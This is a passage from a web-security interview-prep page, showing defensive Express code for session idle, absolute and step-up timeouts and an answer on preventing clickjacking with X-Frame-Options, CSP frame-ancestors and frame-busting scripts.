  }

  // Update activity timestamp
  updateActivity(session) {
    session.lastActivity = Date.now();
    return session;
  }

  // Update authentication timestamp (after password confirmation)
  updateAuthTime(session) {
    session.lastAuthTime = Date.now();
    return session;
  }
}

// Express middleware implementation
const sessionTimeout = new SessionTimeoutManager({
  idle: TIMEOUT_CONFIG.idle.corporate,
  absolute: TIMEOUT_CONFIG.absolute.corporate,
  stepUp: TIMEOUT_CONFIG.stepUp
});

// Middleware to check session timeout
app.use(async (req, res, next) => {
  if (!req.session?.userId) {
    return next(); // Not authenticated
  }

  const validation = sessionTimeout.validateTimeout(req.session);

  if (!validation.valid) {
    // Destroy the session
    await req.sessionStore.destroy(req.sessionId);
    res.clearCookie('sessionId');

    return res.status(401).json({
      error: 'SESSION_TIMEOUT',
      reason: validation.reason,
      message: validation.message
    });
  }

  // Update activity timestamp for valid requests
  // Only update on meaningful activity (not for polling endpoints)
  if (!req.path.startsWith('/api/poll')) {
    sessionTimeout.updateActivity(req.session);
    await req.sessionStore.save(req.session);
  }

  // Send warning header if timeout approaching
  if (validation.shouldWarn) {
    res.set('X-Session-Timeout-Warning', validation.timeUntilTimeout);
  }

  next();
});

// Endpoint to check session status (for client-side warnings)
app.get('/api/session/status', (req, res) => {
  if (!req.session?.userId) {
    return res.status(401).json({ authenticated: false });
  }

  const validation = sessionTimeout.validateTimeout(req.session);

  if (!validation.valid) {
    return res.status(401).json({
      authenticated: false,
      expired: true,
      reason: validation.reason
    });
  }

  res.json({
    authenticated: true,
    timeUntilTimeout: validation.timeUntilTimeout,
    timeUntilIdle: validation.timeUntilIdle,
    timeUntilAbsolute: validation.timeUntilAbsolute,
    shouldWarn: validation.shouldWarn
  });
});

// Endpoint requiring step-up authentication
app.post('/api/account/change-password', async (req, res) => {
  if (!req.session?.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }

  // Check if step-up authentication is required
  if (sessionTimeout.requiresStepUp(req.session)) {
    // Require current password confirmation
    if (!req.body.currentPassword) {
      return res.status(403).json({
        error: 'STEP_UP_REQUIRED',
        message: 'Please confirm your current password for this operation'
      });
    }

    const isValid = await verifyPassword(
      req.session.userId,
      req.body.currentPassword
    );

    if (!isValid) {
      return res.status(403).json({ error: 'Invalid password' });
    }

    // Update auth timestamp
    sessionTimeout.updateAuthTime(req.session);
    await req.sessionStore.save(req.session);
  }

  // Proceed with password change
  await changePassword(req.session.userId, req.body.newPassword);
  res.json({ success: true });
});

// Client-side timeout warning implementation
// (Include in your frontend JavaScript)
const CLIENT_TIMEOUT_HANDLER = `
<script>
class SessionTimeoutMonitor {
  constructor(warningThreshold = 2 * 60 * 1000) { // 2 minutes
    this.warningThreshold = warningThreshold;
    this.warningShown = false;
    this.checkInterval = 30 * 1000; // Check every 30 seconds
    this.start();
  }

  async checkSessionStatus() {
    try {
      const response = await fetch('/api/session/status');
      const data = await response.json();

      if (!data.authenticated) {
        this.handleSessionExpired(data.reason);
        return;
      }

      if (data.shouldWarn && !this.warningShown) {
        this.showTimeoutWarning(data.timeUntilTimeout);
        this.warningShown = true;
      }

      // Reset warning if user becomes active again
      if (!data.shouldWarn && this.warningShown) {
        this.hideTimeoutWarning();
        this.warningShown = false;
      }
    } catch (error) {
      console.error('Failed to check session status', error);
    }
  }

  showTimeoutWarning(timeRemaining) {
    const minutes = Math.floor(timeRemaining / 60000);

    // Show modal or notification
    const warning = document.createElement('div');
    warning.id = 'session-timeout-warning';
    warning.className = 'timeout-warning';
    warning.innerHTML = \`
      <div class="warning-content">
        <h3>Session Expiring Soon</h3>
        <p>Your session will expire in \${minutes} minute(s) due to inactivity.</p>
        <button onclick="sessionMonitor.extendSession()">Stay Logged In</button>
      </div>
    \`;

    document.body.appendChild(warning);
  }

  hideTimeoutWarning() {
    const warning = document.getElementById('session-timeout-warning');
    if (warning) warning.remove();
  }

  async extendSession() {
    // Make a request to extend the session
    await fetch('/api/session/extend', { method: 'POST' });
    this.hideTimeoutWarning();
    this.warningShown = false;
  }

  handleSessionExpired(reason) {
    clearInterval(this.intervalId);

    alert('Your session has expired. Please log in again.');
    window.location.href = '/login?reason=' + reason;
  }

  start() {
    this.intervalId = setInterval(
      () => this.checkSessionStatus(),
      this.checkInterval
    );

    // Initial check
    this.checkSessionStatus();
  }
}

// Initialize on page load
const sessionMonitor = new SessionTimeoutMonitor();
</script>
`;

Mermaid Diagram:

flowchart TD
    A[Session Created] --> B[Store Timestamps]
    B --> C[createdAt: Current Time]
    B --> D[lastActivity: Current Time]
    B --> E[lastAuthTime: Current Time]

    F[Incoming Request] --> G{Session Exists?}
    G -->|No| H[Reject: Not Authenticated]
    G -->|Yes| I[Calculate Timeouts]

    I --> J[Session Age = Now - createdAt]
    I --> K[Idle Time = Now - lastActivity]
    I --> L[Auth Age = Now - lastAuthTime]

    J --> M{Age > Absolute Timeout?}
    M -->|Yes| N[Destroy Session<br/>Reason: ABSOLUTE_TIMEOUT]
    M -->|No| O{Idle Time > Idle Timeout?}

    O -->|Yes| P[Destroy Session<br/>Reason: IDLE_TIMEOUT]
    O -->|No| Q[Session Valid]

    Q --> R{Sensitive Operation?}
    R -->|No| S[Update lastActivity<br/>Grant Access]
    R -->|Yes| T{Auth Age > Step-Up Timeout?}

    T -->|Yes| U[Require Password<br/>Confirmation]
    T -->|No| V[Grant Access]

    U --> W{Password Valid?}
    W -->|Yes| X[Update lastAuthTime<br/>Grant Access]
    W -->|No| Y[Reject: Invalid Password]

    Q --> Z{Time Until Timeout}
    Z --> AA[Time Until Idle]
    Z --> AB[Time Until Absolute]
    Z --> AC[Min of Both]

    AC --> AD{Less Than Warning Threshold?}
    AD -->|Yes| AE[Send Warning Header<br/>Notify Client]
    AD -->|No| AF[Continue Normally]

    AE --> AG[Client Shows Warning]
    AG --> AH{User Action?}
    AH -->|Activity| AI[Update lastActivity<br/>Reset Warning]
    AH -->|Extend Session| AJ[Explicit Extend Request<br/>Reset Warning]
    AH -->|No Action| AK[Timeout Occurs<br/>Destroy Session]

References:

↑ Back to top

Client-Side Security

What is clickjacking and how do you prevent it?

The 30-Second Answer: Clickjacking is an attack where a malicious site overlays your site in an invisible iframe, tricking users into clicking buttons or links they can't see while thinking they're interacting with the attacker's page. Prevent it by setting the X-Frame-Options header to DENY or SAMEORIGIN, or using the more modern Content-Security-Policy frame-ancestors directive.

The 2-Minute Answer (If They Want More): Clickjacking (also called UI redressing) is a deceptive attack technique where an attacker embeds your website in an invisible or transparent iframe on their malicious page. They overlay this iframe with attractive content that encourages clicks - like fake "Download" buttons, "You've won!" messages, or other enticing elements. When users click what they think is the attacker's content, they're actually clicking on your website underneath.

This attack can have serious consequences. Attackers might trick users into changing account settings, authorizing OAuth applications, making purchases, transferring money, or performing other authenticated actions without realizing it. Since the iframe contains your actual website, any actions taken are legitimate requests from the user's authenticated session, making them difficult to detect or prevent at the application level.

The primary defense is the X-Frame-Options HTTP response header, which tells browsers whether your site can be embedded in frames. Setting it to DENY prevents all framing, while SAMEORIGIN allows framing only by pages on the same origin. The more modern and flexible approach is the Content-Security-Policy (CSP) header with the frame-ancestors directive, which allows fine-grained control over which domains can frame your content.

Additional defensive measures include implementing frame-busting JavaScript (though this can be bypassed), using the SameSite cookie attribute to prevent cross-site request forgery in conjunction with clickjacking, and requiring re-authentication for sensitive actions. For critical operations, consider implementing CAPTCHA or other user verification methods that are difficult to automate through clickjacking attacks.

Code Example:

// SERVER-SIDE: Set HTTP headers to prevent clickjacking

// Node.js/Express example
app.use((req, res, next) => {
  // Method 1: X-Frame-Options (legacy but widely supported)
  res.setHeader('X-Frame-Options', 'DENY'); // Prevent all framing
  // OR
  res.setHeader('X-Frame-Options', 'SAMEORIGIN'); // Allow same-origin framing

  // Method 2: Content-Security-Policy (modern, more flexible)
  res.setHeader("Content-Security-Policy", "frame-ancestors 'none'"); // Prevent all framing
  // OR
  res.setHeader("Content-Security-Policy", "frame-ancestors 'self'"); // Allow same-origin
  // OR
  res.setHeader("Content-Security-Policy", "frame-ancestors 'self' https://trusted-domain.com");

  next();
});

// Using Helmet middleware (recommended)
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' })); // X-Frame-Options: DENY
// OR
app.use(helmet.frameguard({ action: 'sameorigin' }));

// Nginx configuration
// add_header X-Frame-Options "SAMEORIGIN" always;
// add_header Content-Security-Policy "frame-ancestors 'self'" always;

// Apache .htaccess
// Header always set X-Frame-Options "SAMEORIGIN"
// Header always set Content-Security-Policy "frame-ancestors 'self'"

// CLIENT-SIDE: Frame-busting JavaScript (defense in depth, can be bypassed)
(function() {
  // Check if page is being framed
  if (window.self !== window.top) {
    // Method 1: Break out of frame
    try {
      window.top.location = window.self.location;
    } catch (e) {
      // If we can't break out, hide the content
      document.body.innerHTML = 'This page cannot be displayed in a frame.';
    }

    // Method 2: Make page invisible if framed
    if (window.top !== window.self) {
      document.body.style.display = 'none';
    }
  }
})();

// CLIENT-SIDE: More robust frame-busting
(function(window) {
  if (window.top !== window.self) {
    // Create a style to hide content
    const style = document.createElement('style');
    style.innerHTML = 'body { display: none !important; }';

    // Try to break out
    try {
      window.top.location = window.self.location.href;
    } catch (e) {
      // If blocked, keep page hidden
      document.head.appendChild(style);

      // Show warning
      setTimeout(() => {
        const warning = document.createElement('div');
        warning.style.cssText = `
          display: block !important;
          position: fixed;
          top: 0;
          left: 0;
          right: 0;
          background: #f44336;
          color: white;
          padding: 20px;
          text-align: center;
          z-index: 999999;
        `;
        warning.textContent = 'Security Warning: This page is being framed by an unauthorized site.';
        document.body.style.display = 'block';
        document.body.insertBefore(warning, document.body.firstChild);
      }, 100);
    }
  }
})(window);

// VERIFICATION: Check if your site can be framed
function testClickjackingProtection() {
  fetch(window.location.href)
    .then(response => {
      const xFrameOptions = response.headers.get('X-Frame-Options');
      const csp = response.headers.get('Content-Security-Policy');

      console.log('X-Frame-Options:', xFrameOptions);
      console.log('CSP frame-ancestors:',
        csp ? csp.match(/frame-ancestors[^;]*/)?.[0] : 'Not set');

      if (!xFrameOptions && !csp?.includes('frame-ancestors')) {
        console.warn('⚠️ No clickjacking protection detected!');
      } else {
        console.log('✓ Clickjacking protection is active');
      }
    });
}

// SENSITIVE ACTIONS: Add extra verification
async function performSensitiveAction(action) {
  // Check if page is framed
  if (window.self !== window.top) {
    throw new Error('This action cannot be performed in a frame');
  }

  // Require re-authentication for sensitive actions
  const reauth = await requireReAuthentication();
  if (!reauth) {
    throw new Error('Re-authentication required');
  }

  // Add CAPTCHA for critical actions
  const captchaValid = await verifyCaptcha();
  if (!captchaValid) {
    throw new Error('CAPTCHA verification failed');
  }

  // Proceed with action
  return executeAction(action);
}

// Use SameSite cookies (server-side) to prevent CSRF + clickjacking
// res.cookie('sessionId', token, {
//   httpOnly: true,
//   secure: true,
//   sameSite: 'strict' // Prevents cookie from being sent in cross-site contexts
// });

Mermaid Diagram:

sequenceDiagram
    participant User
    participant AttackerSite as Attacker's Site
    participant VictimSite as Your Site (in iframe)

    User->>AttackerSite: Visits malicious page
    AttackerSite->>VictimSite: Loads in invisible iframe
    AttackerSite->>User: Shows fake "Click to Win!" button
    Note over AttackerSite,VictimSite: Button positioned over<br/>actual "Delete Account" button
    User->>VictimSite: Clicks (thinks it's attacker's button)
    VictimSite->>VictimSite: Deletes account!
    Note over User,VictimSite: User has no idea what happened

    rect rgb(255, 200, 200)
        Note right of VictimSite: WITHOUT PROTECTION<br/>Attack succeeds
    end

    User->>AttackerSite: Visits malicious page (protected scenario)
    AttackerSite->>VictimSite: Tries to load in iframe
    VictimSite-->>AttackerSite: X-Frame-Options: DENY
    Note over AttackerSite,VictimSite: Browser blocks framing
    AttackerSite->>User: Shows error/blank iframe

    rect rgb(200, 255, 200)
        Note right of VictimSite: WITH PROTECTION<br/>Attack blocked
    end

References:

↑ Back to top

Want more questions?

You've seen 15 sample questions. Unlock all 35 En interview questions with detailed explanations, code examples, and expert insights.

35+ questions
Code examples
Expert explanations
Instant access
Unlock Full Access